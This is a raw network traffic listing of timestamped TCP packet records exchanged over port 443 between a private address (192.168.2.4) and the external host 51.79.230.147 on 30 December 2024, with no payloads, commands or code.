Dec 30, 2024 19:45:12.813405037 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.813482046 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.813488960 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.813528061 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.813783884 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.813797951 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.813847065 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.813853979 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.813896894 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.813977003 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.813992977 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.814033985 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.814039946 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.814073086 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.814088106 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.814188004 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.814201117 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.814240932 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.814248085 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.814276934 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.814292908 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.814461946 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.814476967 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.814522028 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.814528942 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.814574003 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.814894915 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.898684025 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.898701906 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.898794889 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.898808956 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.898853064 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.899697065 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.899710894 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.899758101 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.899765015 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.899804115 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.899934053 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.899950027 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.899996996 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.900003910 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.900044918 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.900296926 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.900316000 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.900348902 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.900355101 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.900383949 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.900398016 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.900481939 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.900496006 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.900546074 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.900552988 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.900597095 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.900791883 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.900806904 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.900846958 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.900852919 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.900876999 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.900883913 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.901093006 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.901106119 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.901143074 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.901154041 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.901170015 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.901187897 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.901416063 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.901429892 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.901504040 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.901510954 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.901556015 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.901627064 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.985480070 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.985502958 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.985584021 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.985609055 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.985656977 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.986622095 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.986637115 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.986695051 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.986701965 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.986747026 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.986856937 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.986879110 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.986920118 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.986927986 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.986959934 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.986968040 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.987174034 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.987190008 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.987236977 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.987243891 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.987287045 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.987430096 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.987445116 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.987493038 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.987499952 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.987548113 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.987665892 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.987680912 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.987721920 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.987729073 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.987766981 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.987976074 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.988018990 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.988034964 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.988087893 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.988095045 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.988148928 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.988342047 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.988357067 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.988399029 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.988405943 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.988430023 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.988444090 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.989041090 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.074870110 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.074888945 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.074984074 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.074991941 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.075002909 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.075026989 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.075032949 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.075038910 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.075084925 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.075202942 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.075217009 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.075265884 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.075273037 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.075330973 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.075367928 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.075382948 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.075423956 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.075432062 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.075479984 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.075560093 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.075576067 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.075613976 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.075620890 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.075647116 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.075665951 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.075753927 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.075773954 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.075808048 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.075813055 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.075823069 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.075838089 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.075839996 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.075855970 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.075860977 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.075892925 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.075934887 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.076035023 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.076237917 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.076251984 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.076297045 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.076302052 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.076332092 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.076349974 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.078963995 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.162126064 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.162141085 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.162174940 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.162194014 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.162218094 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.162230015 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.162249088 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.162276030 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.162446976 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.162461996 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.162525892 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.162556887 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.162558079 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.162570953 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.162604094 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.162625074 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.162699938 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.162714958 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.162751913 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.162758112 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.162786961 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.162797928 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.163160086 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.163558960 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.163573980 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.163625956 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.163631916 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.163670063 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.163944960 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.164098978 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.164117098 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.164160967 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.164166927 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.164191008 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.164201021 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.164300919 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.164315939 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.164352894 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.164359093 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.164393902 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.164393902 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.164730072 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.248923063 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.248943090 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.249053001 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.249078035 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.249097109 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.249115944 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.249125957 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.249134064 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.249161959 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.249190092 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.249361038 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.249375105 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.249427080 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.249433994 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.249479055 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.249736071 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.249751091 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.249797106 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.249804974 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.249834061 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.249845028 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.249952078 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.249965906 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.250017881 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.250025988 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.250063896 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.250212908 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.250227928 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.250267029 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.250273943 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.250303984 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.250323057 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.250533104 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.250555038 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.250587940 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.250593901 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.250633001 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.250650883 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.250719070 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.250735044 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.250785112 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.250791073 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.250838995 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.251092911 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.337546110 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.337574959 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.337651014 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.337673903 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.337719917 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.337764025 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.337780952 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.337819099 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.337826967 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.337848902 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.337861061 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.338255882 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.338272095 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.338309050 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.338315964 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.338344097 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.338351011 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.338608027 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.338625908 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.338673115 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.338679075 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.338717937 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.338993073 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.339008093 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.339046955 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.339054108 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.339076996 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.339091063 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.339447021 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.339461088 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.339509010 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.339515924 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.339561939 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.339883089 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.339899063 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.339946985 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.339953899 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.340022087 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.340154886 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.340352058 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.340367079 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.340404987 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.340413094 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.340436935 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.340456009 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.347937107 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.424385071 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.424412966 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.424514055 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.424537897 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.424601078 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.424828053 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.424844027 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.424882889 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.424890041 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.424916983 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.424925089 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.425277948 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.425293922 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.425343037 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.425348997 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.425367117 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.425384998 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.425642014 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.425661087 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.425698042 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.425705910 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.425729036 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.425743103 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.426114082 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.426131010 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.426166058 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.426171064 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.426199913 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.426208019 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.426211119 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.426533937 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.426563025 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.426598072 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.426615953 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.426621914 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.426645994 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.426665068 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.426779985 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.426800013 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.426846981 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.426853895 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.426902056 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.427273035 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.427293062 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.427331924 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.427340031 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:13.427356958 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.427373886 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:13.427752018 CET	50050	443	192.168.2.4	51.79.230.147
